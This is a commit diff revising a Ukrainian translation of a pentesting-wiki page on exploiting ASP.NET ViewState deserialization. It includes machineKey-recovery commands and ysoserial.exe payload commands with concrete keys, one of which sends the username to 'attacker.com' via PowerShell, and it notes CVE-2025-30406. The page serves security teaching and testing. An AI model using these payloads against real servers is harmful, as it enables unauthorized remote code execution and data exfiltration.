Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p

This commit is contained in:
Translator 2025-08-20 09:12:29 +00:00
parent 2da2f5470f
commit 62f8061767

View File

@ -70,7 +70,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) - це ще один інструмент, який може ідентифікувати відомі machineKeys. Він написаний на Python, тому на відміну від Blacklist3r, немає залежності від Windows. Для .NET viewstates є утиліта "python blacklist3r", яка є найшвидшим способом її використання.
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) - це ще один інструмент, який може ідентифікувати відомі machineKeys. Він написаний на Python, тому, на відміну від Blacklist3r, немає залежності від Windows. Для .NET viewstates є утиліта "python blacklist3r", яка є найшвидшим способом її використання.
Її можна забезпечити viewstate та генератором безпосередньо:
```
@ -81,7 +81,7 @@ python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgX
```
![https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png)
Або він може підключитися безпосередньо до цільового URL і спробувати витягти viewstate з HTML:
Або він може безпосередньо підключитися до цільового URL і спробувати витягти viewstate з HTML:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
@ -138,7 +138,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
```
Для більш детального опису для IISDirPath та TargetPagePath [перегляньте тут](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
Для більш детального опису IISDirPath та TargetPagePath [перегляньте тут](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
Або, з [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (з значенням генератора):
```bash
@ -147,7 +147,7 @@ python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6
```
![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
Якщо знайдено дійсний Machine key, **наступним кроком є генерація серіалізованого payload за допомогою** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
Якщо дійсний Machine key ідентифіковано, **наступним кроком є генерація серіалізованого payload за допомогою** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
```
@ -155,7 +155,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png)
Успішна експлуатація вразливості десеріалізації ViewState призведе до запиту поза каналом на сервер, контрольований зловмисником, який міститиме ім'я користувача. Цей тип експлойту продемонстровано в доказі концепції (PoC), який можна знайти через ресурс під назвою "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Для отримання додаткових деталей про те, як працює процес експлуатації та як використовувати інструменти, такі як Blacklist3r для ідентифікації MachineKey, ви можете переглянути наданий [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
Успішна експлуатація вразливості десеріалізації ViewState призведе до запиту з виходом за межі до сервера, контрольованого зловмисником, який міститиме ім'я користувача. Цей тип експлуатації продемонстровано в доказі концепції (PoC), який можна знайти через ресурс під назвою "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Для отримання додаткових деталей про те, як працює процес експлуатації та як використовувати інструменти, такі як Blacklist3r для ідентифікації MachineKey, ви можете переглянути наданий [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
### Тестовий випадок 6 Використовується ViewStateUserKeys
@ -210,9 +210,7 @@ ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify
```
Обертання статичних ключів або перехід на *AutoGenerate* ключі в Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) зменшує ризик цього класу атак. {{#ref}}
{{#endref}}
Обертання статичних ключів або перехід на *AutoGenerate* ключі в Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) зменшує ризик цього класу атак.
### CVE-2025-30406 Gladinet CentreStack / Triofox жорстко закодовані ключі
Kudelski Security виявила, що кілька версій CentreStack / Triofox постачалися з ідентичними значеннями `machineKey`, що дозволяло неавтентифіковане віддалене виконання коду через підробку ViewState (CVE-2025-30406).